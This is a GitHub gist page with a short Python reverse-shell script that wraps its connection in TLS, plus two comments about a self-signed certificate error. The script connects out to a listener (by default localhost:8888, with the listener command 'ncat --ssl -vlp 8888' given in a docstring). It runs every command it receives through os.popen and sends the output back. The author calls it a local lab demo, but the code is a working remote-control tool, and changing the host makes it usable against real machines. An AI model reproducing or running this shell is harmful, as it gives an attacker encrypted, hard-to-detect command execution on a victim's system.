Skip to content

Instantly share code, notes, and snippets.

@davidlares
Created March 13, 2020 19:24
Show Gist options
  • Save davidlares/d442558bb6dc9838fd6f5a6ce29191ec to your computer and use it in GitHub Desktop.
Save davidlares/d442558bb6dc9838fd6f5a6ce29191ec to your computer and use it in GitHub Desktop.
A simple Reverse shell script with SSL encryption (Wrapping sockets)
#!/usr/bin/python
'''
The counterpart is done by: ncat --ssl -vlp 8888
'''
import os
import socket
import ssl # for socket wrapper
if __name__ == "__main__":
# values
host = "localhost"
port = 8888
# socket instance
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# wrapping with SSL
wsock = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1)
# now, using the secured socket
wsock.connect((host,port))
while True:
# receiving
command = wsock.recv(1000)
# receiving command
result = os.popen(command).read()
# sending command
wsock.send(result)
@cyb3rspace
Copy link

Every time I run this I get this error:

ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate (_ssl.c:997)

@davidlares
Copy link
Author

davidlares commented Feb 2, 2023

This was a local lab. I created a self-signed certificate for it. This script was "intended" to show how to wrap the socket into SSL, nothing more. To solve it, create your own SSL with openssl, it's pretty straightforward.

Hope it helps.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment